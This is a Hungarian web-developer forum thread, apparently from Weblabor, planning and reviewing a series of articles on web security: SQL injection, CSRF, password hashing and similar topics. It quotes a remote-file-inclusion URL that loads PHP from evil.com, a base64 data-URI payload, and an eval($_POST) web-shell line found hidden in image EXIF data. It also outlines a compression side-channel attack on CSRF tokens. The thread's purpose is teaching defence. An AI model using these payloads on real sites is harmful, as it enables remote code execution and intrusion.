security cikk
Szeretnék írni egy cikket biztonsági kérdésekről.
Témakörök egyelőre:
session fixation,
cross-site request forgery,
session prediction,
brute force,
man in the middle,
cross-site scripting,
sql injection,
rainbow table
Arra gondoltam, hogy inkább lista szerűen lennének jelen ezek a cikkben, mindegyiknél az elkövetett hiba, a támadás menete, a kivédés mikéntje. Ezen felül még biztosan vannak más támadási formák, várok tippeket ezekről, illetve hamarosen mindegyiket részletezem külön hozzászólásban, hogy hogy gondoltam, ezeket lehet véleményezni, kiegészíteni, illetve az új támadási módokat külön hozzászólásban egyesével küldjétek be légyszives. Ha eléggé letisztult a kép, szerintem akkor érdemes összeírni őket egy cikkbe.
■ Témakörök egyelőre:
session fixation,
cross-site request forgery,
session prediction,
brute force,
man in the middle,
cross-site scripting,
sql injection,
rainbow table
Arra gondoltam, hogy inkább lista szerűen lennének jelen ezek a cikkben, mindegyiknél az elkövetett hiba, a támadás menete, a kivédés mikéntje. Ezen felül még biztosan vannak más támadási formák, várok tippeket ezekről, illetve hamarosen mindegyiket részletezem külön hozzászólásban, hogy hogy gondoltam, ezeket lehet véleményezni, kiegészíteni, illetve az új támadási módokat külön hozzászólásban egyesével küldjétek be légyszives. Ha eléggé letisztult a kép, szerintem akkor érdemes összeírni őket egy cikkbe.
Legyen egyszerű
Ha lesznek, akkor php-ben
Az jó
Én nagyon várom, jelenleg besegítést sajnos nem tudok vállalni.
Pedig elkélne, mert hatalmas
Az SQL injectiont elküldtem Ádámnak, még lektorálja... Mondjuk a legjobb lenne tgr-el átnézetni, mert ő itt a szaki biztonság témában... Hátha még ki tudja egészíteni valamivel...
Mondjuk a legjobb lenne
Messze nem, pláne SQL kérdésekben. De ha elküldöd, szívesen átnézem, több szem többet lát.
Privát
Az elején vagy a sorozat első
Egyébként egyes támadási formákról esett szó több már megjelent cikkben, esetleg ezeket is érdemes átnézni.
Továbbá, nem feltétlen ennek a keretében, de jó lenne olvasni egy átfogó írást a TLS-ről, meg egyet általában a kriptográfiáról.
Továbbá, nem feltétlen ennek
Ennyire sajnos nem vagyok képzett a témában. Egy közepes szintet tudok hozni, ami azért így is több, mint amit általában fórumokon kérdésekben látok.
Rainbow táblát ma már nem
A PHP security cheatsheet elég jó gyűjtemény a lehetséges támadásokról, a cutting edge-ről meg ez a prezentáció.
Ahogy nézem a támadások
Első körben jelszavak adatbázisban tárolásáról fogok írni, azt legalább úgy gondolom, hogy átlátom. Ezzel sok embernek úgyis alapvető gondja van, ha már az is kérdés, hogy az md5 visszafejthető e, meg hasonlók...
Ez a brute force, sql injection, rainbow table témákat részben vagy teljesen lefedi.
Egyelőre beküldtem az SQL
Hash-törés
Általában a hash témakörére igaz, hogy hozzá kell előbb férnie magához a hash-hez a támadónak. Ez már feltételezi, hogy volt egy hatalmas lyuk/hiba a rendszerben, így én azt mondanám ez inkább második vonal beli téma.
CSRF-ről kellene sokat és jót, ezzel elég keveset foglalkoznak, ahhoz képest, hogy az oldalak hány százalékán jelen van.
Nem igazán értek egyet,
Fontos
Ha úgy gondolod, akkor
A stream wrapper alapú remote
Erről írhatnál bővebben,
Ha az allow_url_fopen be van
http://example.com/mailPreview.php?template=http://evil.com/php.txt
http://example.com/mailPreview.php?template=data://text/plain;base64,cGhwaW5mbygpOw==
A példa elég béna, de más sebezhetőségekkel társítva (pl. register_globals, XXE) előfordul komolyabb alkalmazásokban is.
Az XXE mennyire veszélyes?
A körülményektől függ. Lehet
Abban az értelemben nagyon veszélyes, hogy a PHP alapbeállításai nem biztonságosak (az entity feloldás alapból be van kapcsolva), és elenyészően kevesen hallottak csak erről a támadásról.
Nálam most az van bent egy
Ahogy nézem simplexml-t csinál belőle. Bele kell írnom, hogy csak json-ra menjen a parsolás.
ez véd ellene
preg_replace /e veszélyei.
Hehe. Java-ban nem véletlenül
Amin PHP-ben viszonylag
http://www.chuggnutt.com/html2text
ami kb. az első gugli találat a "php mail plain text transform" keresésre. Első ránézésre nem biztos, hogy megmondanád, hogy akkor code execution vulnerability van benne, mint egy ház.
Mondjuk
Ja a h1-6-nál eval-t
http://blog.sucuri.net/2013/0
Újabb eval-os adalék... :-)
A másik, hogy exif header-ben tud utazni bármilyen neked, vagy a felhasználónak káros kód... Most keresem, hogy hogyan lehet kiszűrni, valszeg be kell olvasni a teljes fájlt, és lementeni egy újba, az eredeti feltöltött fájl meg mehet a szemétbe...
Azért aki az exif fejlécekre
eval($_POST['zz1']);
van odabiggyesztve)Én feltöltött képeket mindig
Ebben az esetben ez
Nem igazán látom azt a use-case-t, ahol ilyen kód előfordulhatna (egy EXIF mezőről feltételezzük, hogy egy reguláris kifejezés)
Az exif-ben én úgy tudom el
Persze, a parser hibáját ki
Én feltöltött képeket mindig
Ja, ez a bevált módszer, GD-vel PNG-ben menteni, aztán úgy megmarad a képminőség, az exif részt meg eldobja.
A képminőség megmarad, csak a
Egyébként nyilván itt szükségük volt az exifre, mint ahogy az komolyabb képnézegető oldalakon tipikus, mert egy csomó hasznos infó van benne, pl. hogy melyik oldala legyen fölül a képnek.
Meg lehet az exif kommentben olyan információ (pl. szerző honlapja, copyright notice), amit nem illik vagy akár nem is legális törölni.
Az IE6-os időkben rengeteget
A bizonyíték, hogy miért
Jesszus, és ezt valaki
Postel's law, after Internet
Akkoriban még gondolhatta komolyan.
Azóta eltelt pár év(tized).
Nem értek egyet
mondjuk ha a CSS rossz
De hát épp ezt tette az Explorer is. Egyébként az ilyen biztonsági kockázat nyilván csak az extrém megnyilvánulása a problémának, egyébként a „liberal in what you accept” simán csak segíti a hibák megbújását.
Az IE6 nem liberális, hanem
Vagy írnál olyan nyelven
Pontosan ezt csinálom.
Pontosan nem, legalábbis a
Az csak azért, mert a Dotroll
Ezt nem értem. Egy PHP hiba is az oldal használhatatlanná válásával jár. Mitől más a frontend kód?
Mitől más?
Hát, én nem így állok a
Tudom,
Alapvetően nem más, csak a
Miért?
Keretrendszerek fejlesztésénél nem is csinálhatsz mást, mint e logikát követed. A felhasználóidnak minél nagyobb szabadságot kell biztosítani, ám garantálod is kell a helyes működést. Nem látom, hogy ez miért elítélendő?
Böngészőknek is hasonlóan kell viselkedniük, a honlapok hibáit le kell tudnod kezelni, különben az Internet 95%-át nem tudnád megjeleníteni. Ám a legerősebb utófeltételt betartva a helyes bemeneti adatok után helyes kimenetre lenne szükség, és ebben az IE6 elbukik, azaz nem felel meg Postel törvényének. Szerintem.
Clickjacking.
Sorra fog kerülni. Egyelőre
OWASP - Top 10
Arra gondoltam, hogy csinálok
A másik, amire gondoltam, hogy lehetne csinálni gráfot (fát) a biztonsági cikkeknél a nagyobb kategóriákról, hogy jobban követhető legyen, éppen hol tartunk, de ezt lehet, hogy elvetem, mert annyira nem tiszta, hogy hogyan lehetne ezt beszórni minden cikk elé, vagy hogy van e lehetőség valami központi oldalt csinálni, ahol kategória szerint cikkeket lehet választani.
Én a checklist formátumra
Kategóriafába rendezett cikkekre egyébként a könyv tartalomtípus ideális Drupalban.
Csináltam egy repot, amiben a
https://github.com/inf3rno/weblabor-cikkek
- Ha új cikket szeretnél beküldeni, akkor azt pull request formájában teheted meg.
- A cikkeket véleményezni issue formájában lehet. Minden cikkhez alapból létrehozok egy issue-t, ahova lehet írni.
- A javításokat pull request formájában várom.
- Ha több cikkre vonatkozó elképzelés van, akkor azt szintén issue formájában várom.
Markdown HTML helyett? a
https://github.com/inf3rno/we
Okés srácok, mindent
https://github.com/inf3rno/weblabor-cikkek/issues?state=open
Ha valakinek további észrevétele, ötlete van, kérem szépen, hogy a repo-ban jelezze valamelyik issue-nál, vagy nyisson neki újat!
Inkább ide is kiteszem, mert
http://arstechnica.com/security/2013/08/how-do-you-stop-https-defeating-breach-attacks-let-us-count-the-ways/
Nem ajánlott a tömörítés használata titkosított tartalom esetén. Nem értem pontosan a támadás mikéntjét, egyelőre csak átfutottam.
Itt volt róla szó bővebben.
Köszi! Még így sem teljesen
Hát, te
Az alapötlet elég egyszerű:
<input name="csrf" type="hidden" value="0
<input name="csrf" type="hidden" value="1
<input name="csrf" type="hidden" value="2
<input name="csrf" type="hidden" value="3
<input name="csrf" type="hidden" value="4
<input name="csrf" type="hidden" value="5
...
Mivel a tömörítés úgy működik, hogy ismétlődő stringeket emel ki az oldalból, és azokat valami röviddel helyettesíti, amikor a támadó helyesen tippeli meg a token első betűjét, akkor egy picit hosszabb lesz az ismétlődő string, és ezért pár bájttal kisebb lesz a tömörített oldal mérete. Ezután elkezdi próbálgatni a következő karaktert stb.
Még mindig nem értem :D Miért
Miért válaszol egyáltalán egy hibás tokenes kérésre a szerver?
Ha hibás a token, akkor az a válaszban úgyis csak annyi lesz, hogy nincs jogosultságod a kérés küldésére.
Nekem nem áll össze a kép. :S
Tipikusan akkor hibás a
Egyébként a dolog nem korlátozódik tokenekre. Egy konkrét példa: te vagy a kínai kormány, és szeretnéd tudni, hogy egy adott újságíró, akit rendszerellenes izgatással gyanúsítasz, milyen néven van jelen a Facebookon, kik a barátai stb. Belenézel a forrásba, és látod, hogy vissza van tükrözve benne az aktuális URL. Ezek után egyszerűen egy általad vezérelt lapra csalod az illetőt, és elkezdesz a böngészőjéből
https://www.facebook.com/a
,https://www.facebook.com/b
stb. címre kéréseket küldözgetni. Amikor olyan betűt választasz, amivel kezdődő link már szerepel az oldalon, picit rövidebb lesz a válasz, és átterhetsz a második betűre stb. Ezt folytatva szépen fel lehet térképezni, milyen linek szerepelnek az oldalon, amiből kiderül az illető baráti köre, hogy milyen csoportokban vesz részt, milyen facebook oldalakat osztottak meg vele mostanában stb.Amikor olyan betűt
Mitől lesz rövidebb, hiszen egyik esetben sem a helyes url-t írta be, ugyanúgy 404-et kell kapnia mindkét esetben nem? Pontosan mit értesz a "vissza van tükrözve benne az aktuális URL" alatt?
Nagyon leegyszerűsítve, az
Okés, valami ilyesmit
Én szerintem a legkézenfekvőbb, ha a http szerver minden kérésre automatikusan ráheggeszt egy random hosszúságú headert. Így a tartalom ugyanúgy kesselhető marad. A szükséges hossz tartományt meg ki lehet számolni. Gondolom ott az számít, hogy x db próbálkozásból bájt pontossággal meg lehet e mondani a várható értéket vagy sem. Ha viszont erre kényszerítjük a hackert, akkor már egy fokkal könnyebb dolgunk van, mert az ilyen ismétlődő hibás kérések még könnyebben loggolhatóak, mondjuk ha minden hibás kérésre csinálunk egy hasht egy gyors algoritmussal, és az adott hash sokszor ismétlődik egymás után, akkor ki lehet léptetni az illetőt a munkamenetből, illetve figyelmeztetni, hogy valszeg támadó oldalt néz. Ehhez elég csak a hibakezelő részébe a kódnak betenni, hogy csináljon hasht a hibás kérésekből, tehát a valid kéréseknél ez nem lassítaná az oldalt, csak a hibásaknál... Mondjuk ezt meg ki lehet játszani, ha a hacker betesz egy random string-et a kérésébe, hogy a hash ne ismétlődjön. Bonyolult ez a téma... :D
Szerintem ez egy jó irány
Egy kérdés: hacker oldalról mennyire bonyolult automatikusan IP-t hazudni, illetve minden próbálkozáshoz másikat használni mennyi időveszteség neki? Az IP alapú "5 perc alatt 3 próbálkozásod lehet" ma már gyenge?
Az sem rossz ötlet, ha két
Ez teljesen realisztikus, ha egy blogot üzemeltetsz, napi három látogatóval.
Olyan oldalnál, ami elég nagy ahhoz, hogy fel is akarják törni ilyen szofisztikált módszerekkel, nem igazán.
Zombihálózatból történő
A botneteket bérbe lehet
OK, IP bukott
Ez a támadás nem belépési
Én még azt nem értem ezzel kapcsolatban, hogy a támadó oldal hogy használja fel az én cookie-mat ellenem. A cors-t alapból tiltja a szerver, külön be kell állítani, hogy engedélyezzen egy-egy domain-t, gondolom https-el meg még szigorúbb a helyzet, pl nem lehet infot küldeni titkosítatlanról titkosítottnak, stb... Nekem ez így kivitelezhetetlennek tűnik... Ohh közben összeállt, hogy nem kell az eredményt kiolvasni, elég csak elküldeni az űrlapot, amit egy rejtett iframe megcsinál. Mivel man in the middle, a hacker figyeli közben a hálózati forgalmat, és abból szűri ki a neki kellő kéréseket...
Hűha
Nem azért, de itt már kezd egy kész hackertanfolyam kialakulni, biztos, hogy azt jó ilyen nyilvánosan?
A cél az
Amúgy meg semmi olyan nem
Security by obscurity
Minden más a biztonság hamis illúziójához járul hozzá. (Soksok remek példa a GSM hálózatok pályafutása alatt.)
mindenestre jó ötlet
Ez végülis
Pont hogy a kikapcsolt
A következőből indultam
Ja, igaz.
Simán de, lehet például egy 0
Kösz, így már értem.
sql injection Tákoltam a
Tákoltam a cikken a kérteknek megfelelően. Nézzétek át, ha van még bármi ötlet, vagy javaslat, akkor írjátok meg a cikk issue-jában, vagy javítsátok ki, és küldjétek el pull request-ben. Még várok pár napot, utána átadom tördelésre.
Nagyszerű kezdeményezés, pár
A klasszikus mintát lenne érdemes tolni, a kódolt jelszóval, és felhasználói névvel, mert az életszagúbb, és húsba vágóbb, mint olvasgatni sql tábla adatait.
Ráadásul akkor - mivel egyértelműen látszana - ki is dobhatnád a "Több SQL felhasználó" és a "Multiple statement execution kikapcsolása" című fejezeteket, mert azok sql injection ellen úgy se védenek. (vagyis hamis biztonságérzetet nyújtanak csak csupán)
Az escapelést én nem tartom jó kifejezésnek, mivel a HTML-nél nem escape-elsz, hanem a speciális html karaktereket átalakítod a megfelelő html kóddá. (tehát a > helyett nem azt írod, hogy \>, hanem azt, hogy < vagy >, látszik már elég rég nem írtam le magam. :)) URL-ben meg urlencodeolod, és a mysql-ben sem escapeled, mert sima escapeeléssel (addslashes) nem tudod védeni az UTF8 lyukak segítségével beinjektált kódokat, azok ellen a mysql_real_escape_string védhet. Végül, de nem utolsó sorban, amikor én réges-régen, ID-t adtam át, mivel az egy szám (nem az enyém), sose escapeltem, hanem típuskényszerítettem, vagy kasztoltam(bocs) intté.
Egy jó szót nem tudnék rá mondani, mert mint fent írtam az átalakítás az felhasználási hely (sql, html, url, xml, stb) és adat típus(string, int, float stb.) függő.
Mondjuk lehet elég lenne http://en.wikipedia.org/wiki/SQL_injection ennek a magyar fordítása is.
pp
Hatástalan a legtöbb
Lábjegyzet
Tekintettel arra, hogy az Interneten vagyunk egykét linkkel kiegészíthették volna a tisztelt szerzők, had ne guglizni kellessen minden második bekezdést. Pl. nagyon kíváncsi lennék, melyik is az a "2007-ben a Microsoft munkatársai által felfedezett kriptográfiai sebezhetőség" - mert rákeresve ennek a cikknek a változatai borítják el a találati listát.
Klassz lenne még, ha valaki hozzá értő amúgy "a lap szélén" egy kis jegyzetet fűzne az egyes bekezdésekhez, mert így a szenzációhajhász stílus eléggé rontja a cikk hitelét (amiben amúgy nem kételkedek).
Szerk:
Ebben a 2007-es keltezésű cikkben sok érdekes infó található ami kis keretet ad a mostaninak (köztük a Windowban használt RNG hibájára, és az NSA által manipulált szabványra, a szándékos backdoor mibenlétére).
Did NSA Put a Secret Backdoor in New Encryption Standard?
Ha elolvasod a cikkben
Igen
Standard kulcsok
Ezt úgy értelmezem, hogy a digitálisan aláírt tartalmakra vonatkozik. Ilyenek például:
Hitelesítő tanúsítványok - ez által a HTTPS (és más SSL-t használó protokollok) támadhatók lesznek man-in-the-middle módszerrel, mivel ezen kulcsok birtokában egy saját maguk által kovácsolt tanúsítványt eredetinek tudnak feltüntetni.
Aláírt szoftver - ide tartoznak többek között rendszerfrissítések és a különböző mobil store-okból (Google Play, Apple AppStore) származó programok. Ezek eredetiségét hivatott védeni a digitális aláírás, vagyis hogy közbülső ember ne módosíthassa a szoftvert.
Személyes vélemény
Az NSA-nak, meg a világon semmilyen szervezetnek nincs akkora számítási kapacitása, hogy nyers erővel megérje (a belefektetett idő/pénz kevesebb, mint amennyit az információ birtoklásával nyer) ezeket a titkosításokat feltörni.
Többször felmerült
Ezzel kapcsolatban nagyjából arra a következtetésre jutottak (tech újságíró körökben), hogy rengeteg termék sebezhető "oldalágon", egy biztonságos algoritmus impelmentálása önmagában nem garancia semmire.
Egy példa: Linuxra létezik egy "encfs" nevű fájl-alapú titkosító. Mivel fájl-szinten dolgozunk rengeteg tippet kapunk az eredeti (titkosítatlan) adatokról (például DOC fájlok első n bájtja nagyon könnyen megjósolható). Ez ellen úgy védekezik az encfs, hogy a kódolt blokkok elejére is (kis mennyiségű) véletlen adatot illeszt. - Ez nem az algoritmus része, csupán egy jó gyakorlat. Egy rosszabb minőségű termék nem feltétlenül tesz meg ilyeneket, és azon is ugyan így rajta van az AES vagy más algoritmus plecsnije, amit a fogyasztó a biztonság szinonímájaként értelmezhet.
És miért ne értelmezne
Valóba nincs
Ezután ezen kulcsokkal elkódoljuk egy DOC egy PSD (stb) fájl első 256 bitjét. Ebből előáll egy lista, egy szótár (indexelve, adatbázisban tárolva), amivel csak össze kell vetnünk a titkosított fájlok első 256 bitjét és nagy eséllyel megvan a kulcs / jelszó.
A példánál maradva az encfs sózza a jelszót mielőtt a kulcsot előállítaná, ami egy esszenciális lépés. De pusztán az AES vagy Twofish használata ezt nem garantálja, vagyis hogy a szoftvertermék többi része is annyira biztonságos, mint maga a felhasznált algoritmus.
Ez egy egyszerű példa volt, de remélem a demonstrálja, mire gondolok.
Nem igazán. Mit jelent az,
Só
Mármint hogy nem lehet
+1, én is próbálom szoktatni
Ha helyesen írod, akkor meg
Ja, de nem írom helyesen,
Mi hiányzik belőle? Egyébként
Egyébként ha minden kódolt adathoz (jelszóhoz) másik "sót" használsz, akkor kb. brute force-ra kényszeríted a kódot feltörni próbálót.
Vessző
És valószínűleg rajta is van
De amúgy egyáltalán nem nehéz erős hosszú jelszót választani (kötelező XKCD link), vannak hozzá mindenféle segédeszközök is.
Persze, hogy nem, de nem jó
Dictionary attack
Egyáltalán nem hülyeség, jobb helyeken illik is használni. Próbálj meg pl. facebookra 1234567 jelszóval regisztrálni.
Régi szép emlékek:
Néhány ezer? Csak egy-két
Egy átlag ember szókincse egy
Igaz, de számold hozzá, hogy
- több nyelvet felhasználhatnak
- kisbetű-nagybetű, "kocka módra" számokk41 és egyéb sp€ciális karakterekkel lecserélt betűk
- egyéb variációk
Azért ez elég rendesen feltornázza egy-egy ilyen szótár méretét.
Már feltéve, hogy szivárványtáblákról beszélünk. Az elkerülésükhöz természetesen valamivel kisebb is elég, hiszen a kis-/nagybetű variációkkal nem kell foglalkozni.
Egy 5-7 éves gyerek
Tipikusan 4-6 véletlen szót
Ezzel egyetértek, és
Megjegyezném...
44bit bonyolultságú passphrase esetén például nem várhatjuk el egy 256bites algoritmusnak tulajdonított biztonságot.
256 bites passphrase-t közel
https://en.wikipedia.org/wiki
Annyira nem meglepő a táblázat alapján a hír, bár nem tudom, hogy mikor frissítették...
Adalék
How far did the NSA go to weaken cryptography standards?
Töröltem az SQL injektálós
A véleményeket ide kérem: issue, vagy küldjétek el pull request formájában, ha bele szeretnétek írni.
A HTML-be tördelésre most nincs sok időm, legkésőbb szombatig írok egy md->html konvertert, addig véleményezzétek, utána konvertálom, és elküldöm Ádámnak.
Én megtettem :)
Saját véleményeim, nem kötelező természetesen megfogadnod, és néhány helyesírási, amit kiszúrtam.
Ha ez a cikk jó formában kijön, szerintem 1-2 hét alatt erre lesz a legtöbb belső link. :)
Lehet, hogy jó lenne elejére valami tartalomjegyzék, hogy a konkrét módokat is könnyű legyen linkelni. Erre mindenképp nagyon hasznos lesz, mert ha a célközönség egyszer el is olvassa, utána elfelejti. Hú, nagy segítség lesz linkelgetni csak!...
Örülök, hogy még idejében meg tudtam nézni, remélem segít egy kicsit. Már most köszönöm a közösség nevében is, szerintem mindenki örülni fog neki, akiknek nem mond újat, azok is.
Kösz a segítséget, amúgy is
Szívesen, ha segített
Azért a "biztonsági gyúrás" nem 2 nap, ahhoz kellenek az évek tapasztalatai is nem?
Várom a publikálást, elég jónak és nagyon hasznosnak tűnik! Aztán majd mennek rá a kommentek is idővel, ha új támadási forma jelenik meg, stb.
Azért a "biztonsági gyúrás"
Egyéni beállítottság kérdése, ha valakit érdekel a téma, és hajlandó utánajárni, akkor hamar feltud szedni használható tudást. Én sem vagyok közel sem szakértő a témában, de szerintem elég a best practice-ek ismerete ahhoz, hogy megnehezítsük a támadók dolgát, nem kell hackernek vagy biztonsági szakértőnek lenni...